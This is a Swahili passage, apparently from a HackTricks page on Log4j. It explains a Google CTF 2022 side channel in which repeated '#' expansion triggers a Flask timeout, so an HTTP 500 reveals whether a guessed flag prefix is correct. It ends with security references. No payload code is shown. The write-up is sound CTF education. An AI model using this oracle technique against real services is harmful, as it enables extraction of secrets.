> Ikiwa bendera inaanza na `flagGuess`, bendera nzima inabadilishwa na `#` 29 (nimeitumia tabia hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 inayotokana nayo inabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, na kusababisha jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Kubadilisha `#` nyingi kama hizi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha msimbo wa hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapata msimbo wa hali usio 500)

## Marejeleo

- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
- [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
- [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
- [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
- [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
- [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)

{{#include ../../banners/hacktricks-training.md}}